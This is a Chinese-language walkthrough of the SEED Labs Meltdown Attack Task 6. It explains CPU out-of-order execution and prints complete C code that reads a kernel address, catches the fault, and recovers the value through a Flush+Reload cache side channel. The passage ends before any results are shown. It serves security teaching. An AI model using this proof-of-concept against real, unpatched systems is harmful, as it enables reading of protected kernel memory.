Task 6 CPU的乱序执行
这是Meltdown Attack的第l六个实验,原实验教程在此:
https://seedsecuritylabs.org/Labs_16.04/System/Meltdown_Attack/
从前面的任务中,我们可以知道,当一个程序试图读取内核内存时,访问会失败,并且产生一个异常。让我们看看下面的代码。
number = 0;
*kernel_address = (char*)0xf9ce8000;
kernel_data = *kernel_address;
number = number + kernel_data;
这段代码在第三行的时候会发生异常,因为fb61b000这个地址属于内核区域。所以第四行代码就不会被执行,因此number就仍然为0。
这种说法从CPU外部的角度看起来是正确的。然而实际上,从微体系结构的角度来看,第3行的代码会成功拿到内核的数据,第四行代码也会被执行。这是由于现代CPU乱序执行的机制导致的。如果CPU按指令原有的顺序一条一条地执行,当其中一条指令耗时比较长的时候,后面的指令就要等前面的指令完成才能执行,这就导致CPU中执行等待指令的单元空闲出来了,大大降低了CPU性能。因此CPU引入了乱序执行机制,让后面的指令可以超车到前面来执行,这样就可以充分利用CPU的所有部件,来提高CPU的性能。
在上面的代码中,第三行代码实际上完成了两个操作。第一个操作是加载数据,第二个操作是检查这个数据访问是否合法。如果数据已经在cache中了,那么第一个操作是很快完成的,而第二个操作就要等一会。所以为了避免等待,CPU会继续执行第四行的代码,同时并行执行第三行的第二个操作。直到检查完成,执行的结果是不会提交,所以我们也看不到第四行的执行结果。这样,你也许会说,那么这样不就保证安全了吗?
但是,Intel和其他做CPU的人犯了一个错误,这个错误导致了熔断攻击。虽然他们抹去了乱序执行对于内存和寄存器的影响。但是他们忽略了乱序执行对于cache的影响。由于乱序执行,第四行代码的结果也被存入到了cache中。那么我们使用Task1和2中提到的侧信道技术,就能观测到乱序执行对cache产生的影响,进而获取到secret data。
本次实验来观察乱序执行造成的影响。实验的代码如下:
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <fcntl.h>
#include <emmintrin.h>
#include <x86intrin.h>
/*********************** Flush + Reload ************************/
uint8_t array[256*4096];
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
void flushSideChannel()
{
int i;
// Write to array to bring it to RAM to prevent Copy-on-write
for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
//flush the values of the array from cache
for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}
void reloadSideChannel()
{
int junk=0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
for(i = 0; i < 256; i++){
addr = &array[i*4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
printf("array[%d*4096 + %d] is in cache.\n",i,DELTA);
printf("The Secret = %d.\n",i);
}
}
}
/*********************** Flush + Reload ************************/
void meltdown(unsigned long kernel_data_addr)
{
char kernel_data = 0;
// The following statement will cause an exception
kernel_data = *(char*)kernel_data_addr;
array[7 * 4096 + DELTA] += 1;
}
void meltdown_asm(unsigned long kernel_data_addr)
{
char kernel_data = 0;
// Give eax register something to do
asm volatile(
".rept 400;"
"add $0x141, %%eax;"
".endr;"
:
:
: "eax"
);
// The following statement will cause an exception
kernel_data = *(char*)kernel_data_addr;
array[kernel_data * 4096 + DELTA] += 1;
}
// signal handler
static sigjmp_buf jbuf;
static void catch_segv()
{
siglongjmp(jbuf, 1);
}
int main()
{
// Register a signal handler
signal(SIGSEGV, catch_segv);
// FLUSH the probing array
flushSideChannel();
if (sigsetjmp(jbuf, 1) == 0) {
meltdown(0xf9ce8000); //replace actual address found from the kernel moudle
}
else {
printf("Memory access violation!\n");
}
// RELOAD the probing array
reloadSideChannel();
return 0;
}
运行该代码,实验结果如下。